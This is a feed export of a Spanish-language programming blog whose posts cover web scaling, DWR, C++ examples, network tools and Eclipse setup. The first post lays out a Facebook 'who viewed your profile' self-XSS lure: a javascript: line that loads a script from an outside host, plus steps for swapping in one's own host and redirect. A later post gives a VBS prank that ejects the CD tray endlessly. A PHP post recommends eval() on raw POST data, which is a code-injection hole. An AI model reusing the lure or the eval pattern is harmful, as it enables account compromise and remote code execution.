tag:blogger.com,1999:blog-63145516630750355802024-03-13T20:45:05.148-07:00EDDY-BEYONDEDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.comBlogger97125tag:blogger.com,1999:blog-6314551663075035580.post-16983566974669240602011-04-11T13:51:00.000-07:002011-04-11T13:52:12.717-07:00Como hacer un virus para FacebookComo hacer un virus para Facebook<br />I. la impresión de un usuario que se dió cuenta de que abrió un link con virus: http://blog.socialsafe.net/2011/04/11/warning-facebook-viruses-doing-the-rounds/<br />II. el código: http://pastebin.com/xJRuCUi4<br />II. el ejemplo de como infectar a otro directamente:<br /> I found a way to view who views your account<br /> Follow these super easy steps to find out:<br /> 1. Copy this code: <br /> javascript:(a=(b=document).createElement('script')).src='//rty.fbglitch-b.info/e.js',b.body.appendChild(a);void(0)<br /> 2. Paste it in your URL address bar and click enter/return. <br /> Note: The URL adress bar is the white bar where you type your websites.<br /> 3. Wait for the {{Trick||Glitch||Spoof} to process and then check your account!<br />IV. lo anterior es la forma directa, pero existen formas mas refinadas para que un usuario entre a ese javascript desde facebook<br />V. reemplazar esta pagina src='//rty.fbglitch-b.info/e.js' por el lugar donde guardaras tu codigo java script.<br />VI. reemplazar dentro del java script la linea que dice: var redirect = "http://fbglitch-a.info/final.php"; por el link a tu pagina.EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com1tag:blogger.com,1999:blog-6314551663075035580.post-37276946819892131722010-10-15T20:34:00.000-07:002010-10-15T20:34:32.359-07:0020090302163516_whypeopleseemtohavefreetime.jpg (700×579)<img src="http://www.pisitoenmadrid.com/fotolog/images/20090302163516_whypeopleseemtohavefreetime.jpg"/><br /><a href="http://www.pisitoenmadrid.com/fotolog/images/20090302163516_whypeopleseemtohavefreetime.jpg">20090302163516_whypeopleseemtohavefreetime.jpg (700×579)</a>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-49167569714947086932010-10-14T20:10:00.000-07:002010-10-14T20:10:59.071-07:00How websites handle multiple users simultaneously? « My Blog – My Thoughts<a href="http://faisalferoz.wordpress.com/2010/10/11/how-websites-handle-multiple-users-simultaneously/">How websites handle multiple users simultaneously? « My Blog – My Thoughts</a><div><br /></div><div><span class="Apple-style-span" style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Arial, sans-serif; color: rgb(128, 128, 128); "><p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; line-height: 1.75em; ">This time I am sharing my discussions about how all these high traffic sites handle multiple users simultaneously. The discussion is not specific to a certain web site but rather was related to a set of guidelines that every developer should follow to make such tasks easy. There are many things to consider. I would list down some as follows:</p><ol style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; "><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Separating the code into distinct independent layers. A classic three tier architecture having a Presentation Layer, Business Logic Layer and Data Access Layer. These layers should be independent of each other and communication paths clearly defined i.e., A layer can talk to the layer below it – no skip or jumps allowed. The reason being independent layers are easy to scale out when the load increases.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">In the Presentation Layer use the Session Object appropriately. In fact the default behavior should be to not use the Session object unless there is absolute need for doing so. The main reason being Session Replication being a very costly operation. Although there are many solutions available but still use the Session object as less as possible.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Make the Business Layer or Service Layer stateless. Stateless means there shouldn’t be any instance variables which saves the state of the Service and the respective calls depends upon that state. Again the reason being we can easily scale out these services to other machines and being stateless we can make a call to any one of them. I will talk about the advantages of this in concurrency later.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Make the methods idempotent – multiple application of same operation on same set of parameters return the same result. Again this allows us to retry in case of communication failure or any other circumstances.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Having Stateless Services (no sharing of data between them) also make them highly scalable. They can service multiple threads simultaneously.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Don’t do any premature optimizations in the code. Write clear and readable code. As always said “Premature Optimizations is the Root of ALL Evil”.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Make your code independent of the Communication Mechanism between layers. This allows us to change/scale the communication layer as required and the code is clean. Always remember cleaner code is easier to scale than spaghetti code <img src="http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif?m=1244646329g" alt=":-)" class="wp-smiley" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; " /></li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Use resources carefully. And its best to cache expensive resources and quickly return those back to the pool instead of holding onto them for a long time.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Keep the Transactions as short as possible. And group similar things into a single Transaction.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Same goes for any locks you hold in the code, like Synchronized Blocks – keep them as small/short as possible. Also synchronized blocks are not the only solution for shared data access. There are other ways as well, many of which are available in new concurrency package in Java.</li><li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 33px; ">Cache as much as possible. But don’t make your code do that. Keep the cache transparent to your code – Aspect Oriented Programming (AOP) can help a lot in these scenarios and/or cross cutting concerns.</li></ol><div>fuente: <span class="Apple-style-span" style="color: rgb(0, 0, 0); font-family: Georgia, serif; "><a href="http://faisalferoz.wordpress.com/2010/10/11/how-websites-handle-multiple-users-simultaneously/">http://faisalferoz.wordpress.com/2010/10/11/how-websites-handle-multiple-users-simultaneously/</a></span></div></span></div>EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-69693183999448429212010-09-21T20:14:00.001-07:002010-09-21T20:14:21.762-07:00Tutorial DWR, Usa todo el poder de java con el dinamismo de un javaScript gracias a DWR<p>El Mejor Ejemplo DWR, o El Mejor Tutorial DWR</p> <p align="justify">DWR (Direct Web Remoting)es una librería Javascript que permite el uso de Ajax (Asynchronous JavaScript and XML) de forma mucho más simple (Este artículo asume que se entiende los conceptos de Ajax, y de Java).</p> <p align="justify">DWR es una librería mas orientada a apoyar la integración, que a apoyar la parte gráfica, de hecho si se buscan Widgets (objetos gráficos) esta no es la librería, pero por otro lado lo fuerte de DWR es que permite “publicar” fácilmente funcionalidad de clases Java para accederlas vía Javascript.</p> <p align="justify"><a href="http://lh3.ggpht.com/_Xi9RiXfhuRY/TJl0g8OqDJI/AAAAAAAAAcM/sLWFjDlaix0/s1600-h/easyservicedwr%5B1%5D%5B6%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="easyservicedwr[1]" border="0" alt="easyservicedwr[1]" src="http://lh6.ggpht.com/_Xi9RiXfhuRY/TJl0jBUUcTI/AAAAAAAAAcQ/AK2Elr6hLQI/easyservicedwr%5B1%5D_thumb%5B4%5D.jpg?imgmax=800" width="404" height="311" /></a></p> <p align="justify">Luego si nuestra funcionalidad o lógica de negocio esta en Java, DWR es una de la mejores opciones para aprovecharla, ya que usar una clase Java que tenemos en un servidor de aplicaciones vía Javascript es tan fácil como definir un archivo de configuración en el servidor….</p> <p>continua leyendo en: <a title="http://soaagenda.com/journal/articulos/el-mejor-ejemplo-dwr-o-el-mejor-tutorial-dwr/" href="http://soaagenda.com/journal/articulos/el-mejor-ejemplo-dwr-o-el-mejor-tutorial-dwr/">http://soaagenda.com/journal/articulos/el-mejor-ejemplo-dwr-o-el-mejor-tutorial-dwr/</a></p> <p><a href="http://soaagenda.com/journal/articulos/el-mejor-ejemplo-dwr-o-el-mejor-tutorial-dwr/">El Mejor Ejemplo DWR, o El Mejor Tutorial DWR</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-78960144545678645652010-09-13T22:15:00.001-07:002010-09-13T22:15:15.633-07:00strchr - C++ Reference<p>strchr es una función de la librería string.h que sirve para obtener la posición de la “primera ocurrencia” de un carácter determinado en una cadena determinada.</p> <p>Ejemplo:</p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400">Código:</td> </tr> <tr> <td valign="top" width="400"> <pre><code><cite>/* strchr example */</cite><br /><dfn>#include <stdio.h></dfn><br /><dfn>#include <string.h></dfn><br /><br /><var>int</var> main ()<br />{<br /> <var>char</var> str[] = <kbd>"This is a sample string"</kbd>;<br /> <var>char</var> * pch;<br /> printf (<kbd>"Looking for the 's' character in \"%s\"...\n"</kbd>,str);<br /> pch=strchr(str,<kbd>'s'</kbd>);<br /> <var>while</var> (pch!=NULL)<br /> {<br /> printf (<kbd>"found at %d\n"</kbd>,pch-str+1);<br /> pch=strchr(pch+1,<kbd>'s'</kbd>);<br /> }<br /> <var>return</var> 0;<br />}</code></pre><br /> </td><br /> </tr><br /> </tbody></table><br /><br /><table border="2" cellspacing="0" cellpadding="2" width="400"><tbody><br /> <tr><br /> <td valign="top" width="400">Salida:</td><br /> </tr><br /><br /> <tr><br /> <td valign="top" width="400">Looking for the 's' character in "This is a sample string"... <br /> <br />found at 4 <br /><br /> <br />found at 7 <br /><br /> <br />found at 11 <br /><br /> <br />found at 18</td><br /> </tr><br /> </tbody></table><br /><br /><p><a title="http://www.cplusplus.com/reference/clibrary/cstring/strchr/" href="http://www.cplusplus.com/reference/clibrary/cstring/strchr/">fuente: http://www.cplusplus.com/reference/clibrary/cstring/strchr/</a> </p><br /><br /><p><a href="http://www.cplusplus.com/reference/clibrary/cstring/strchr/">strchr - C++ Reference</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-45860040263461029772010-09-13T22:02:00.001-07:002010-09-13T22:02:04.014-07:00C++: Constructors (Contructores en C++)<p> </p> <p> Cuando se crea un objeto a partir de instanciar una clase, C++ llama al constructor de esa clase. Si ningún constructor es definido, se invoca un constructor por default, que reserva memoria para el objeto, pero no lo inicializa.</p> <p>Por que se debe definir un constructor.</p> <p>Miembros no inicializados guardan basura. creando un posible bug (por ejemplo un puntero no inicializado, valores ilegales, o inconsistentes…).</p> <p>Declarando un constructor.</p> <p>Un constructor es similar a una funcion, pero con las siguientes diferencias:</p> <p>1. Lleva el mismo nombre que la clase.</p> <p>2. No hay un tipo de dato de regreso.</p> <p>3. No hay declaración que no regresa nada.</p> <p>Ejemplo (Extracto de tres diferentes archivos):</p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400"> //=== point/point.h ===================</td> </tr> <tr> <td valign="top" width="400"> <p>#ifndef POINT_H </p> <p>#define POINT_H </p> <p>class Point {</p> <blockquote> <p> public: </p> <p>Point(); // parameterless default constructor </p> <p>Point(int new_x, int new_y); // constructor with parameters</p> <p> int getX(); </p> <p>int getY();</p> <p> private:</p> <p> int x; </p> <p>int y; </p> <p>}; </p> <p>#endif</p> </blockquote> </td> </tr> </tbody></table> <p> </p> <p>Parte del archivo de implementación.</p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400">//=== point/point.cpp ===========</td> </tr> <tr> <td valign="top" width="400">. . . <br />Point::Point() { // default constructor <br />x = 0; <br />y = 0; <br />} <br />Point::Point(int new_x, int new_y) { // constructor <br />x = new_x; <br /> y = new_y; <br />} <br /> . . .</td> </tr> </tbody></table> <p> </p> <p>Aqui una parte de un archivo que usa la clase “Point”</p> <table border="2" cellspacing="0" cellpadding="2" width="400"><tbody> <tr> <td valign="top" width="400">//=== point/main.cpp ============</td> </tr> <tr> <td valign="top" width="400">. . . <br />Point p; // calls our default constructor <br />Point q(10,20); // calls constructor with parameters <br />Point* r = new Point(); // calls default constructor <br />Point s = p; // our default constructor not called <br />. . . .</td> </tr> </tbody></table> <p>fuete: <a title="http://www.fredosaurus.com/notes-cpp/oop-condestructors/constructors.html" href="http://www.fredosaurus.com/notes-cpp/oop-condestructors/constructors.html">http://www.fredosaurus.com/notes-cpp/oop-condestructors/constructors.html</a></p> <p><a href="http://www.fredosaurus.com/notes-cpp/oop-condestructors/constructors.html">C++: Constructors</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-39762795089158084812010-09-13T21:19:00.001-07:002010-09-13T21:19:29.504-07:00NBMonitor Network Bandwidth Monitor | Network Monitoring<p> <a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/TI73xzAk4tI/AAAAAAAAAb8/jq1NlM-luv0/s1600-h/nbmonitor_box%5B1%5D%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="nbmonitor_box[1]" border="0" alt="nbmonitor_box[1]" src="http://lh6.ggpht.com/_Xi9RiXfhuRY/TI73ymmFNWI/AAAAAAAAAcA/YGwCcj_JSrc/nbmonitor_box%5B1%5D_thumb.jpg?imgmax=800" width="166" height="244" /></a></p> <p align="justify">Completa suite para el monitoreo y control del ancho de banda de uno o varios equipos en red.  Controla el trafico en general.</p> <blockquote> <p><a href="http://lh3.ggpht.com/_Xi9RiXfhuRY/TI73zXXvD7I/AAAAAAAAAcE/tkKha8RQN1w/s1600-h/images_2%5B1%5D%5B2%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="images_2[1]" border="0" alt="images_2[1]" src="http://lh3.ggpht.com/_Xi9RiXfhuRY/TI730OCIbhI/AAAAAAAAAcI/JA1AEJQL5-k/images_2%5B1%5D_thumb.jpg?imgmax=800" width="244" height="183" /></a> </p> </blockquote> <h6>NBMonitor tracks your Internet bandwidth (upload and downloads) usage, monitors all your Internet, it shows all the active connections you have to the Internet at any given moment and also the volume of traffic flowing through them. NBMonitor displays real-time details about your network connections and network adapter's bandwidth usage. Unlike others, it shows process names initiated network connections and allows you to set filters to capture only the traffic you are interested in.</h6> <p><a href="http://www.nbmonitor.com/">NBMonitor Network Bandwidth Monitor | Network Monitoring</a></p> <p></p> <p></p> <p><a title="http://www.nbmonitor.com/" href="http://www.nbmonitor.com/">http://www.nbmonitor.com/</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-33768947888963915162010-09-13T21:05:00.001-07:002010-09-13T21:05:39.785-07:00NetDefender - Firewall<p>FireWall Gratuito para windows que trabaja en equipos en red, gestionado por reglas definidas por un administrador.</p> <blockquote> <p>Firewall with source code, which can be downloaded along with firewall executables. Netdefender works on windows 2000 and windows XP.</p> </blockquote> <p><a href="http://netdefender.codeplex.com/">NetDefender - Firewall</a></p> <p><a href="http://lh6.ggpht.com/_Xi9RiXfhuRY/TI70hYtqsyI/AAAAAAAAAb0/13XPqfDyuIw/s1600-h/FileDownload%5B1%5D%5B1%5D.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="FileDownload[1]" border="0" alt="FileDownload[1]" src="http://lh3.ggpht.com/_Xi9RiXfhuRY/TI70krJCKhI/AAAAAAAAAb4/I02TlPcaIeU/FileDownload%5B1%5D_thumb%5B1%5D.png?imgmax=800" width="404" height="297" /></a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-11957878136057133402010-09-13T20:57:00.001-07:002010-09-13T20:57:21.027-07:00Bandwidth Speed Test | Broadband Internet Services<p><a href="http://lh5.ggpht.com/_Xi9RiXfhuRY/TI7ymIDqgZI/AAAAAAAAAbs/ZbYQeJ7T0tU/s1600-h/bw%5B5%5D.jpg"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="bw" border="0" alt="bw" src="http://lh4.ggpht.com/_Xi9RiXfhuRY/TI7yn7juEvI/AAAAAAAAAbw/ZsvihPsq1uY/bw_thumb%5B3%5D.jpg?imgmax=800" width="404" height="246" /></a>  Conocer la verdadera velocidad de tu conexión es fácil y entretenido con BroadBand SpeedTest</p> <p><a title="http://www.bandwidthplace.com/" href="http://www.bandwidthplace.com/">http://www.bandwidthplace.com/</a></p> <p><a href="http://www.bandwidthplace.com/">Bandwidth Speed Test | Broadband Internet Services</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-66531326489392626712010-09-13T20:46:00.001-07:002010-09-13T20:46:46.469-07:00Eclipse en Windows para poder programar en C/C++, Pascal, Java, PHP, Ruby, ect. Se añadirá el debuger de MinGW (GDB)<p><a title="http://fc09.deviantart.net/fs31/f/2008/200/d/f/Reflective_Eclipse_IDE_Icon_by_dert07.png" href="http://fc09.deviantart.net/fs31/f/2008/200/d/f/Reflective_Eclipse_IDE_Icon_by_dert07.png"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="Reflective_Eclipse_IDE_Icon_by_dert07[1]" border="0" alt="Reflective_Eclipse_IDE_Icon_by_dert07[1]" src="http://lh5.ggpht.com/_Xi9RiXfhuRY/TI7wJU6pUTI/AAAAAAAAAbo/nAFiP26AoV8/Reflective_Eclipse_IDE_Icon_by_dert07%5B1%5D%5B2%5D.png?imgmax=800" width="244" height="244" /> </a></p> <p align="justify"><b>Instalar Eclipse C/C++ y el debugger</b> <br />1. Descarga Eclipse C/C++ (<a href="http://eclipsemirror.yoxos.com/eclipse.org/technology/epp/downloads/release/galileo/SR1/eclipse-cpp-galileo-SR1-win32.zip">eclipse-cpp-galileo-SR1-win32.zip</a>). <a href="http://www.eclipse.org/downloads//">Comprobar paquetes</a> <br />2. Descarga Automated MinGW Installer (<a href="http://downloads.sourceforge.net/project/mingw/Automated%20MinGW%20Installer/MinGW%205.1.6/MinGW-5.1.6.exe">MinGW-5.1.6.exe</a>). <a href="http://sourceforge.net/projects/mingw/files/Automated%20MinGW%20Installer/">Comprobar paquetes</a> <br />3. Descarga MSYS Base System (<a href="http://downloads.sourceforge.net/project/mingw/MSYS/BaseSystem/msys-1.0.11/MSYS-1.0.11.exe">MSYS-1.0.11.exe</a>). <a href="http://sourceforge.net/projects/mingw/files/MSYS/BaseSystem/">Comprobar paquetes</a> <br />4. Descarga GNU Source-Level Debugger (<a href="http://downloads.sourceforge.net/project/mingw/MinGW/BaseSystem/GDB/Release%20Candidate_%20GDB%206.8-3/gdb-6.8-mingw-3.tar.bz2">gdb-6.8-mingw-3.tar.bz2</a>). <a href="http://sourceforge.net/projects/mingw/files/MinGW/BaseSystem/GDB/">Comprobar paquetes</a> (Las versiones 7 no me han funcionado bien, descarga sólo los realease candidate o estables) <br />5. Mueve el archivo Automated MinGW Installer a una carpeta temporal (se descargarán archivos que después de la instalación puedes borrar) e instalaló: <br />· Selecciona "Download and install" <br />· Selecciona "Current" <br />· Selecciona los paquetes "MinGW base tools" y "g++ compiler" (Si vas a programas también en java, añade a la selección "Java compiler") <br />· Instalaló en C:\eclipse\MinGW <br />Puedes borrar los archivos descargados por MinGW installer, y también a él mismo. <br />6. Ejecuta el archivo MSYS Base System <br />· Instalaló en C:\eclipse\msys <br />· Saldrá la ventana de comandos de Windows, cuando te pregunte si quieres seguir con la instalación escribe la letra Y y pulsa enter <br />· Preguntará si tienes instalado MinGW, escribe la letra Y y pulsa enter de nuevo <br />· Te pedirá la ruta de MinGW, si seguiste los pasos es: c:/eclipse/mingw (pon barras hacia delante "/" no slashes "\", las mayúsculas dan igual) <br />7. Descomprime el archivo GNU Source-Level Debugger en C:/eclipse/MinGW. Cuando pregunte si deseas remplazar archivos di a todo que no. <br />8. Descomprime Eclipse C/C++ en C:/eclipse (el archivo tiene la carpeta "eclipse" así que quedará: C:/eclipse/eclipse) <br />9. Abre C:/eclipse/eclipse/eclipse.exe (puedes hacer un acceso directo al escritorio) <br />· Si es la primera vez que lo abres te saldrá dónde quieres guardar tus proyectos, yo lo tengo en C:\eclipse\workspace (y marcado para que no pregunte más). </p> <p align="justify"> </p> <p align="justify">Más información e imágenes en la fuente original: <a title="http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html" href="http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html">http://www.jonijnm.es/web/foro/749-programacion/14380-eclipse-35-galileo--espanol--cc-y-pascal--cdt--mingw--gbd-debugger.html</a></p> <p align="justify">Páginas relacionadas…</p> <p align="justify">Cómo instalar el puto Eclipse 3.5 “Galileo” en Debian/Ubuntu para C/C++ <a title="http://putolinux.wordpress.com/2009/10/22/como-instalar-el-puto-eclipse-3-5-galileo-en-debianubuntu-para-cc/" href="http://putolinux.wordpress.com/2009/10/22/como-instalar-el-puto-eclipse-3-5-galileo-en-debianubuntu-para-cc/">http://putolinux.wordpress.com/2009/10/22/como-instalar-el-puto-eclipse-3-5-galileo-en-debianubuntu-para-cc/</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-91190401813021460492010-08-22T22:14:00.001-07:002010-08-22T22:22:53.793-07:00Abrir y cerrar infinitamente bendeja del CD-ROM<p>Si quieres entretenerte un rato viendo como un usuario se desespera viendo como su bandeja de CD abre y cierra infinitamente… o simplemente quieres arrullar al bebé para que se duerma con ayuda de tu computadora, haz lo siguiente:</p> <p>1: copia el siguiente código  en el bloc de notas</p> <p>=============== <br />Set oWMP = CreateObject("WMPlayer.OCX.7") <br />Set colCDROMs = oWMP.cdromCollection <br />do <br />if colCDROMs.Count >= 1 then <br />For i = 0 to colCDROMs.Count - 1 <br />colCDROMs.Item(i).Eject <br />Next <br />For i = 0 to colCDROMs.Count - 1 <br />colCDROMs.Item(i).Eject <br />Next <br />End If <br />wscript.sleep 5000 <br />loop <br />=============</p> <p>2:  guardalo como “open_close.vbs” (especial atención en la extensión vbs) en el escritorio o en misDocumentos.</p> <p>3: ejecuta el archivo “open_close.vbs” recien generado y disfruta viendo al CD-DVD ROM en acción.</p> <div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:3a9b8365-80c3-4ebc-a04c-b8d72cdc622b" class="wlWriterEditableSmartContent"><div id="87a2b36e-9372-4b8d-8103-6b48e72bac2f" style="margin: 0px; padding: 0px; display: inline;"><div><a href="http://www.youtube.com/watch?v=bYcF_xX2DE8" target="_new"><img src="http://lh5.ggpht.com/_Xi9RiXfhuRY/THIFqAVmoJI/AAAAAAAAAbU/SRpPWHt4pVg/video24cb8cd2740b%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('87a2b36e-9372-4b8d-8103-6b48e72bac2f'); downlevelDiv.innerHTML = "<div><object width=\"425\" height=\"355\"><param name=\"movie\" value=\"http://www.youtube.com/v/bYcF_xX2DE8&hl=en\"><\/param><embed src=\"http://www.youtube.com/v/bYcF_xX2DE8&hl=en\" type=\"application/x-shockwave-flash\" width=\"425\" height=\"355\"><\/embed><\/object><\/div>";" alt=""></a></div></div></div> <div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:f1df4f25-4e5e-4173-a6b6-4bdb185d879d" class="wlWriterEditableSmartContent"><div id="e7c03a31-d5f5-4009-8705-2ce12e7a07b7" style="margin: 0px; padding: 0px; display: inline;"><div><a href="http://www.youtube.com/watch?v=Ei7nHHEetB0&feature=related" target="_new"><img src="http://lh6.ggpht.com/_Xi9RiXfhuRY/THIDo1LAc_I/AAAAAAAAAbY/joy4816Oc2A/videoa3193b1487bc%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('e7c03a31-d5f5-4009-8705-2ce12e7a07b7'); downlevelDiv.innerHTML = "<div><object width=\"425\" height=\"355\"><param name=\"movie\" value=\"http://www.youtube.com/v/Ei7nHHEetB0&hl=en\"><\/param><embed src=\"http://www.youtube.com/v/Ei7nHHEetB0&hl=en\" type=\"application/x-shockwave-flash\" width=\"425\" height=\"355\"><\/embed><\/object><\/div>";" alt=""></a></div></div></div> <p>4: Para detenerlo abre el administrador de tareas (Ctrl+Alt+Supr)y deten el proceso que se llame "wscript.exe".</p> <p>fuente: <a href="http://kvgroup4all.blogspot.com/2010/06/virus-to-self-opel-close-cd-dvd-rom.html">http://kvgroup4all.blogspot.com/2010/06/virus-to-self-opel-close-cd-dvd-rom.html</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-59562799163691582010-08-22T21:54:00.001-07:002010-08-22T21:54:31.532-07:00aBowman » Gadgets<p> </p> <p>divertidos gadgets para blogs incluyendo el famoso estanque de peces.</p> <p><a title="http://abowman.com/google-modules/" href="http://abowman.com/google-modules/">http://abowman.com/google-modules/</a> </p> <p><object type="application/x-shockwave-flash" style="outline:none;" data="http://hosting.gmodules.com/ig/gadgets/file/112581010116074801021/fish.swf?" width="300" height="200"><param name="movie" value="http://hosting.gmodules.com/ig/gadgets/file/112581010116074801021/fish.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param><param name="scale" value="noscale" /><param name="salign" value="tl" /></object></p> <p><a href="http://abowman.com/google-modules/">aBowman » Gadgets</a></p> EDDY BEYONDhttp://www.blogger.com/profile/17546498939031913452noreply@blogger.com0tag:blogger.com,1999:blog-6314551663075035580.post-11791428081750250252010-08-08T22:37:00.001-07:002010-08-08T22:37:49.935-07:00Bucle para recibir todas las variables por POST en PHP<span xmlns=''><h1>Bucle para recibir todas las variables por POST en PHP<br /></h1><p>Fuente: http://es.php.net/<br /></p><p>Vamos a ver una manera muy rápida de recibir todas las variables de un formulario, enviado por post, en el lenguaje PHP. Os aseguro que es una pequeña porción de código que os ahorrará escribir un montón de líneas de código. <br/><br/>Quién no se ha visto alguna vez en la tediosa tarea de recibir un montón de datos de un formulario, asignando una por una todas las variables en PHP? Eso se hacía con líneas como ésta: <br/><br/><br/>$nombre = $_POST["nombre"]; <br/>$edad = $_POST["edad"]; <br/>$ciudad = $_POST["ciudad"]; <br/>.... <br/><br/>Si el formulario tuviera 10 elementos no sería muy pesado escribir las 10 líneas de código, pero si fueran 50 o 100 la cosa sería mucho menos agradable. El código que vamos a ver ahora nos solucionará la vida en esos casos. <br/><br/>foreach($_POST as $nombre_campo => $valor){ <br/> $asignacion = "\$" . $nombre_campo . "='" . $valor . "';"; <br/> eval($asignacion); <br/>} <br/><br/>Se realiza un bucle foreach que va recorriendo cada uno de los elementos del post. En cada iteración, se van accediendo a todos los elementos del post y se guarda en $ nombre_campo el nombre del campo recibido por el formulario y en $valor, el valor que se había introducido en el formulario. <br/><br/>Todo lo anterior se deduce de la primera línea. En las siguientes se compone en cada iteración, cada una de las asignaciones que deberíamos haber escrito manualmente. Es decir, en la variable asignación guardaremos una línea de código PHP que realiza la declaración de la variable de formulario dentro de PHP y su inicialización con el valor que se hubiera escrito. <br/><br/>En la siguiente línea, donde está la función eval(), se ejecuta la sentencia generada en el anterior paso. La función eval() de PHP ejecuta el contenido de una cadena de caracteres como si fuera una sentencia PHP. (Podemos ver la documentación de la función eval() en la página de PHP <a target='_blank' href='http://es.php.net/manual/es/function.eval.php'>http://es.php.net/manual/es/function.eval.php</a>) <br/><br/>Fuente: http://es.php.net/<br /></p><p><strong>Guillermo Gianello</strong><br /> <a href='mailto:gcg@emprear.com'>gcg@emprear.com</a> 26/11/03<br /></p><p>Una pequeña variante, que por otra parte, nos habilita pasar argumentos incluso con RegisterGlobals=off en phpini. <br/><br/><?PHP <br/>foreach ($HTTP_SERVER_VARS as $indice=>$cadena) { <br/>$$indice = $cadena; <br/>} <br/>foreach ($HTTP_POST_VARS as $indice=>$cadena) { <br/>$$indice = $cadena; <br/>## echo "$indice = $cadena"; <br/>} <br/>foreach ($HTTP_GET_VARS as $indice=>$cadena) { <br/>$$indice = $cadena; <br/>} <br/>foreach ($HTTP_COOKIE_VARS as 